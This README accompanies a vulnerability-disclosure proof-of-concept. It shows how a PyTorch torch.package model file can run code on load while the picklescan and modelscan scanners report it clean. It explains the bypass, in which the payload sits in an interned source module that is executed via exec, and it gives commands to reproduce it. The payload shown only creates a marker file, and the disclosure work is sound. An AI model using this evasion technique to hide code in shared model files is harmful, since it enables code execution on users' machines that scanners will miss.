torch.package (PyTorch Package MFV) β picklescan/modelscan bypass PoC
Proof-of-concept model files for a huntr Model File Vulnerability (MFV) report against
the PyTorch Package (.pt) format (torch.package).
Files
malicious_interned.ptβ the actual vulnerability PoC. Runsos.system("touch /tmp/torch_package_interned_pwned")on load viatorch.package.PackageImporter(...).load_pickle(...). Bothpicklescan(1.0.4) andmodelscan(0.8.8, made by Protect AI, huntr's parent org) report this file as clean ("Infected files: 0" / "No issues found").modelscan --show-skippedexplicitly lists the payload file (archive/evilmodule.py) as skipped: "Model Scan did not scan file".naive_detected_by_scanners.ptβ control/comparison file. Same RCE effect, but the pickle directly referencessubprocess.Popen. Both scanners correctly flag this one as dangerous. Included to isolate exactly which part of the technique causes the bypass (embedding the payload in the package's own interned Python source module instead of referencing a known-dangerous stdlib global from the pickle opcodes).
Why the scanners miss it
torch.package archives are zip files that can bundle "interned" .py source modules alongside the
pickle data. When such a module is imported (which routinely happens as part of unpickling a package
object), torch/package/package_importer.py's PackageImporter._make_module() runs
exec(code, ns) on that source directly. The pickle opcode stream itself never references anything
scanners treat as dangerous (os.system, subprocess.Popen, eval, etc.) β it just references
a custom, package-local class. Opcode-level scanners (picklescan, modelscan) have no model of this
second execution path, so they see nothing to flag.
Reproduce
pip install torch picklescan modelscan
python3 -c "
import torch.package
picklescan_result = __import__('subprocess').run(['picklescan', '-p', 'malicious_interned.pt'])
"
picklescan -p malicious_interned.pt # Infected files: 0
modelscan -p malicious_interned.pt # No issues found! π
python3 -c "
import torch.package
importer = torch.package.PackageImporter('malicious_interned.pt')
importer.load_pickle('archive', 'data.pkl')
"
ls -la /tmp/torch_package_interned_pwned # created by the RCE
Full report: huntr.com MFV submission (PyTorch Package format).